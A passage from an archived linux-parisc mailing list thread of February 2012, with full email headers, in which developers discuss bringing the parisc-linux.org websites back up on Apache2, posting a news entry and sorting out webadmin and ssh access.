Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Sun, 12 Feb 2012 17:56:18 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <BLU0-SMTP77B17F57F6130D1C60865A977E0@phx.gbl>
References: <20120208143347.GB22903@dannf.org> <1329057533.21613.39.camel@dabdike.int.hansenpartnership.com> <1329058172.21613.40.camel@dabdike.int.hansenpartnership.com> <1329076902.21613.52.camel@dabdike.int.hansenpartnership.com> <CADZpyiwQXN0uCq0LqXaJmjBH5-Rxw6GNAsdLpQO7DKnVRe6+_A@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1329087409 32686 80.91.229.3 (12 Feb 2012 22:56:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Feb 2012 22:56:49 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org,
	taggart@lackof.org, bame@riverrock.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 12 23:56:47 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwiLa-0000q4-LX
	for glpp-linux-parisc@plane.gmane.org; Sun, 12 Feb 2012 23:56:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754631Ab2BLW4h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Feb 2012 17:56:37 -0500
Original-Received: from blu0-omc4-s34.blu0.hotmail.com ([65.55.111.173]:23341 "EHLO
	blu0-omc4-s34.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754173Ab2BLW4g (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Feb 2012 17:56:36 -0500
Original-Received: from BLU0-SMTP77 ([65.55.111.136]) by blu0-omc4-s34.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 12 Feb 2012 14:56:35 -0800
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP77.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 12 Feb 2012 14:56:35 -0800
In-Reply-To: <CADZpyiwQXN0uCq0LqXaJmjBH5-Rxw6GNAsdLpQO7DKnVRe6+_A@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 12 Feb 2012 22:56:35.0317 (UTC) FILETIME=[91FA3250:01CCE9D9]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4159
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4159>

On 12-Feb-12, at 5:47 PM, Carlos O'Donell wrote:

> On Sun, Feb 12, 2012 at 3:01 PM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
>> On Sun, 2012-02-12 at 08:49 -0600, James Bottomley wrote:
>>> On Sun, 2012-02-12 at 08:38 -0600, James Bottomley wrote:
>>>> On Wed, 2012-02-08 at 07:33 -0700, dann frazier wrote:
>>>>> In the meantime, if anyone wants to get the website working on  
>>>>> apache2
>>>>> for the remainder of the system's lifetime, please let me know.
>>>>>
>>>> I can probably do that.  At least the static part, since I run a  
>>>> bunch
>>>> of apache 2 websites on my hosted system.
>>>>
>>>> I've enabled it and put it up ... but it uses some type of server  
>>>> side
>>>> scripting which I need to enable in the apache mods, so it's not
>>>> entirely functional yet.
>>>
>>> OK, done and up.
>>>
>>> it was using SSI ... I haven't seen that for at least 20 years ...
>>
>> I think I'm done.  I've got the three sites
>> {www,ftp,hwdb}.parisc-linux.org up and running.  There aren't any  
>> more,
>> are there (wiki seems to be eisee)?  Could someone also check the  
>> links
>> to see that nothing's broken.
>
> I did a quick check and everything seems to be working!
>

Fantastic!  Deserves a note on PA-RISC news.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Sun, 12 Feb 2012 21:22:25 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <CADZpyixzG2wDNdpf4E=TfXcXHYx-KOk1Aug-k7io_dT6ajKBMQ@mail.gmail.com>
References: <20120208143347.GB22903@dannf.org>
	<1329057533.21613.39.camel@dabdike.int.hansenpartnership.com>
	<1329058172.21613.40.camel@dabdike.int.hansenpartnership.com>
	<1329076902.21613.52.camel@dabdike.int.hansenpartnership.com>
	<CADZpyiwQXN0uCq0LqXaJmjBH5-Rxw6GNAsdLpQO7DKnVRe6+_A@mail.gmail.com>
	<BLU0-SMTP77B17F57F6130D1C60865A977E0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1329099755 5464 80.91.229.3 (13 Feb 2012 02:22:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 13 Feb 2012 02:22:35 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org,
	taggart@lackof.org, bame@riverrock.org,
	Thibaut VARENE <T-Bone@parisc-linux.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 13 03:22:33 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwlYj-00019g-26
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Feb 2012 03:22:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753396Ab2BMCW2 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Feb 2012 21:22:28 -0500
Original-Received: from mail-yw0-f46.google.com ([209.85.213.46]:38352 "EHLO
	mail-yw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753247Ab2BMCW1 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Feb 2012 21:22:27 -0500
Original-Received: by yhoo21 with SMTP id o21so2137802yho.19
        for <linux-parisc@vger.kernel.org>; Sun, 12 Feb 2012 18:22:27 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=HBAxZsKSGf8zaOl7DH7IkV5Kl0qtvWQN3yaQqCgd000=;
        b=VPbO3UEBemkNBBRenNK9DDsVQg1NF8Cto4iRpy5cTrWbS8CWLNPwhMovFGvr1b6IGw
         ewcAkG5DcWsZ4lsg64ITTjigv4c0haWGkDj6vZKNf2VzjK43Ijkobz0+Tc8S7xBvglKN
         +TF2V9uskhFRroXBC7qlqRzFB1jSMpMsBYPzY=
Original-Received: by 10.236.200.230 with SMTP id z66mr17848893yhn.20.1329099745528;
 Sun, 12 Feb 2012 18:22:25 -0800 (PST)
Original-Received: by 10.146.84.1 with HTTP; Sun, 12 Feb 2012 18:22:25 -0800 (PST)
In-Reply-To: <BLU0-SMTP77B17F57F6130D1C60865A977E0@phx.gbl>
X-Google-Sender-Auth: kT2sKeZQ-YdHh9Mwwn-lRg-IFSE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4160
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4160>

On Sun, Feb 12, 2012 at 5:56 PM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
> Fantastic! =A0Deserves a note on PA-RISC news.

OK, I've checked in an update to index.x with a new news entry, however=
=2E..

I'm not part of the webadmin group and therefore I can't update the web=
site.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Sun, 12 Feb 2012 20:05:37 -0800
Lines: 48
Approved: news@gmane.org
Message-ID: <CANEJEGvrdwutpv1fwZqk0kq0nO=0UQQYD=svz8DMNd+FW+UB+Q@mail.gmail.com>
References: <20120208143347.GB22903@dannf.org>
	<1329057533.21613.39.camel@dabdike.int.hansenpartnership.com>
	<1329058172.21613.40.camel@dabdike.int.hansenpartnership.com>
	<1329076902.21613.52.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1329105943 4911 80.91.229.3 (13 Feb 2012 04:05:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 13 Feb 2012 04:05:43 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org,
	taggart@lackof.org, bame@riverrock.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 13 05:05:41 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwnAa-0002pa-3t
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Feb 2012 05:05:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754815Ab2BMEFj convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Feb 2012 23:05:39 -0500
Original-Received: from mail-tul01m020-f174.google.com ([209.85.214.174]:39932 "EHLO
	mail-tul01m020-f174.google.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754540Ab2BMEFi convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Feb 2012 23:05:38 -0500
Original-Received: by obcva7 with SMTP id va7so6049038obc.19
        for <linux-parisc@vger.kernel.org>; Sun, 12 Feb 2012 20:05:38 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding:x-system-of-record;
        bh=thpbO7gv0A0MC1rSSNQxEXaP3vJ5JVnl1hh81Hnmtn0=;
        b=zCiZBnmzQ2Pr3W3LAOC2N/4vmOzknjlHGx4jCiMPLehWqWndeYaBm+W9SH0zCvcogw
         CtiJR0l/lJcSTxUCaKA/ITlBsPlpuAn/0pKEmwgNfmhaX/H323Pya0yfqWNExJwP/Gaw
         J1gYT3ku4ywdLeOOnFSAOqL3rA3E9kVQ7o+tw=
Original-Received: by 10.182.114.9 with SMTP id jc9mr1247706obb.11.1329105937413;
        Sun, 12 Feb 2012 20:05:37 -0800 (PST)
Original-Received: by 10.182.114.9 with SMTP id jc9mr1247691obb.11.1329105937299; Sun,
 12 Feb 2012 20:05:37 -0800 (PST)
Original-Received: by 10.182.35.202 with HTTP; Sun, 12 Feb 2012 20:05:37 -0800 (PST)
In-Reply-To: <1329076902.21613.52.camel@dabdike.int.hansenpartnership.com>
X-Google-Sender-Auth: m2NZaN2C6rs8-Av4D5PU_Qth8js
X-System-Of-Record: true
X-Gm-Message-State: ALoCoQmU2fbQAK2qymg3en5j+wgjakWvQ2ZxLfhCUtUNsF8GakVQ3iacPc0oPMOUz4DGEAF17Gy/Qz96yfgv248pHRRvjzX+JuI8rLB5QEMamt/IkH4hxas0ksduTFG1qmCWFCX+Ma00DLaqS2zY998AlhnPkypZbg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4161
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4161>

On Sun, Feb 12, 2012 at 12:01 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Sun, 2012-02-12 at 08:49 -0600, James Bottomley wrote:
>> On Sun, 2012-02-12 at 08:38 -0600, James Bottomley wrote:
>> > On Wed, 2012-02-08 at 07:33 -0700, dann frazier wrote:
>> > > In the meantime, if anyone wants to get the website working on a=
pache2
>> > > for the remainder of the system's lifetime, please let me know.
>> > >
>> > I can probably do that. =C2=A0At least the static part, since I ru=
n a bunch
>> > of apache 2 websites on my hosted system.
>> >
>> > I've enabled it and put it up ... but it uses some type of server =
side
>> > scripting which I need to enable in the apache mods, so it's not
>> > entirely functional yet.
>>
>> OK, done and up.
>>
>> it was using SSI ... I haven't seen that for at least 20 years ...
>
> I think I'm done. =C2=A0I've got the three sites
> {www,ftp,hwdb}.parisc-linux.org up and running. =C2=A0There aren't an=
y more,
> are there (wiki seems to be eisee)?

James,
=46irst, thanks for resurrecting the services for the parisc-linux.org =
domain.

Will ssh accounts be resurrected? I can provide a new SSH public key
if necessary/preferred. It's been a convenient place for me to park
any PA-RISC documents that I stumble across on the web.

Dann/Matt,
DNS entry for iou.parisc-linux.org can be killed if it hasn't been
yet. That used to point to gsyprf11.external.hp.com which was
decommission last year.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Mon, 13 Feb 2012 00:19:48 -0500
Lines: 59
Approved: news@gmane.org
Message-ID: <1329110388.21613.76.camel@dabdike.int.hansenpartnership.com>
References: <20120208143347.GB22903@dannf.org>
	 <1329057533.21613.39.camel@dabdike.int.hansenpartnership.com>
	 <1329058172.21613.40.camel@dabdike.int.hansenpartnership.com>
	 <1329076902.21613.52.camel@dabdike.int.hansenpartnership.com>
	 <CANEJEGvrdwutpv1fwZqk0kq0nO=0UQQYD=svz8DMNd+FW+UB+Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1329110396 28093 80.91.229.3 (13 Feb 2012 05:19:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 13 Feb 2012 05:19:56 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org,
	taggart@lackof.org, bame@riverrock.org
To: Grant Grundler <grantgrundler@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 13 06:19:54 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwoKQ-0002nQ-BD
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Feb 2012 06:19:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751036Ab2BMFTw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Feb 2012 00:19:52 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34330 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751004Ab2BMFTw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Feb 2012 00:19:52 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6AC328EE0EA;
	Sun, 12 Feb 2012 21:19:51 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id fqkcFxLM3aAV; Sun, 12 Feb 2012 21:19:51 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id B9B148EE0BA;
	Sun, 12 Feb 2012 21:19:50 -0800 (PST)
In-Reply-To: <CANEJEGvrdwutpv1fwZqk0kq0nO=0UQQYD=svz8DMNd+FW+UB+Q@mail.gmail.com>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4162
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4162>

On Sun, 2012-02-12 at 20:05 -0800, Grant Grundler wrote:
> On Sun, Feb 12, 2012 at 12:01 PM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> > On Sun, 2012-02-12 at 08:49 -0600, James Bottomley wrote:
> >> On Sun, 2012-02-12 at 08:38 -0600, James Bottomley wrote:
> >> > On Wed, 2012-02-08 at 07:33 -0700, dann frazier wrote:
> >> > > In the meantime, if anyone wants to get the website working on apache2
> >> > > for the remainder of the system's lifetime, please let me know.
> >> > >
> >> > I can probably do that.  At least the static part, since I run a bunch
> >> > of apache 2 websites on my hosted system.
> >> >
> >> > I've enabled it and put it up ... but it uses some type of server side
> >> > scripting which I need to enable in the apache mods, so it's not
> >> > entirely functional yet.
> >>
> >> OK, done and up.
> >>
> >> it was using SSI ... I haven't seen that for at least 20 years ...
> >
> > I think I'm done.  I've got the three sites
> > {www,ftp,hwdb}.parisc-linux.org up and running.  There aren't any more,
> > are there (wiki seems to be eisee)?
> 
> James,
> First, thanks for resurrecting the services for the parisc-linux.org domain.

You're welcome.

> Will ssh accounts be resurrected?

Um, I don't think they've ever been revoked. Otherwise I wouldn't have
been able to log into palinux and fix stuff.

James


>  I can provide a new SSH public key
> if necessary/preferred. It's been a convenient place for me to park
> any PA-RISC documents that I stumble across on the web.
> 
> Dann/Matt,
> DNS entry for iou.parisc-linux.org can be killed if it hasn't been
> yet. That used to point to gsyprf11.external.hp.com which was
> decommission last year.
> 
> cheers,
> grant
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Mon, 13 Feb 2012 00:20:47 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <1329110447.21613.77.camel@dabdike.int.hansenpartnership.com>
References: <20120208143347.GB22903@dannf.org>
	 <1329057533.21613.39.camel@dabdike.int.hansenpartnership.com>
	 <1329058172.21613.40.camel@dabdike.int.hansenpartnership.com>
	 <1329076902.21613.52.camel@dabdike.int.hansenpartnership.com>
	 <CADZpyiwQXN0uCq0LqXaJmjBH5-Rxw6GNAsdLpQO7DKnVRe6+_A@mail.gmail.com>
	 <BLU0-SMTP77B17F57F6130D1C60865A977E0@phx.gbl>
	 <CADZpyixzG2wDNdpf4E=TfXcXHYx-KOk1Aug-k7io_dT6ajKBMQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1329110454 28417 80.91.229.3 (13 Feb 2012 05:20:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 13 Feb 2012 05:20:54 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org,
	taggart@lackof.org, bame@riverrock.org,
	Thibaut VARENE <T-Bone@parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 13 06:20:52 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwoLK-0003Kv-VR
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Feb 2012 06:20:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751166Ab2BMFUu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Feb 2012 00:20:50 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34344 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751027Ab2BMFUu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Feb 2012 00:20:50 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 17C708EE0EA;
	Sun, 12 Feb 2012 21:20:50 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id hcs1mN7Jhl-U; Sun, 12 Feb 2012 21:20:50 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 4B9C08EE0BA;
	Sun, 12 Feb 2012 21:20:49 -0800 (PST)
In-Reply-To: <CADZpyixzG2wDNdpf4E=TfXcXHYx-KOk1Aug-k7io_dT6ajKBMQ@mail.gmail.com>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4163
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4163>

On Sun, 2012-02-12 at 21:22 -0500, Carlos O'Donell wrote:
> On Sun, Feb 12, 2012 at 5:56 PM, John David Anglin <dave.anglin@bell.net> wrote:
> > Fantastic!  Deserves a note on PA-RISC news.
> 
> OK, I've checked in an update to index.x with a new news entry, however...
> 
> I'm not part of the webadmin group and therefore I can't update the website.

You are now.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Mon, 13 Feb 2012 12:23:44 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <CA+DQjFju07GZurXzu_G_Kd2=ndSy4Jm5GhkUUXyrdKWeTjiURw@mail.gmail.com>
References: <20120208143347.GB22903@dannf.org> <1329057533.21613.39.camel@dabdike.int.hansenpartnership.com>
 <1329058172.21613.40.camel@dabdike.int.hansenpartnership.com> <1329076902.21613.52.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1329132258 10328 80.91.229.3 (13 Feb 2012 11:24:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 13 Feb 2012 11:24:18 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org,
	taggart@lackof.org, bame@riverrock.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 13 12:24:14 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rwu0z-0000xf-PI
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Feb 2012 12:24:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756275Ab2BMLYI convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Feb 2012 06:24:08 -0500
Original-Received: from mail-iy0-f174.google.com ([209.85.210.174]:58773 "EHLO
	mail-iy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752000Ab2BMLYF convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Feb 2012 06:24:05 -0500
Original-Received: by iacb35 with SMTP id b35so4235713iac.19
        for <linux-parisc@vger.kernel.org>; Mon, 13 Feb 2012 03:24:04 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=crB0KdJYHt0KhU0MQ/NocmILdtUegfujRnYSK5eLq6E=;
        b=G407D6/y8OC8+DM6nfgL+0SJCvQwWOBy7amPZGSeiGgIxVRW0iO3Lo7ccWTFHlY+3P
         +YpMU3kZx97wPNt9o9DwnynfcXeHyMica2GCIkzItvQdEqXlgm4GzwRI+FDJaP2cu8I4
         pHAWS1/tIcKk1kv70+LVnev3D2Y0izLeajHig=
Original-Received: by 10.42.107.9 with SMTP id b9mr19971019icp.23.1329132244119; Mon,
 13 Feb 2012 03:24:04 -0800 (PST)
Original-Received: by 10.42.145.201 with HTTP; Mon, 13 Feb 2012 03:23:44 -0800 (PST)
In-Reply-To: <1329076902.21613.52.camel@dabdike.int.hansenpartnership.com>
X-Google-Sender-Auth: KTzLaZmdUX_aHNoYFD24K5xr1jE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4164
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4164>

On Sun, Feb 12, 2012 at 9:01 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Sun, 2012-02-12 at 08:49 -0600, James Bottomley wrote:

>> > I've enabled it and put it up ... but it uses some type of server =
side
>> > scripting which I need to enable in the apache mods, so it's not
>> > entirely functional yet.
>>
>> OK, done and up.
>>
>> it was using SSI ... I haven't seen that for at least 20 years ...
>
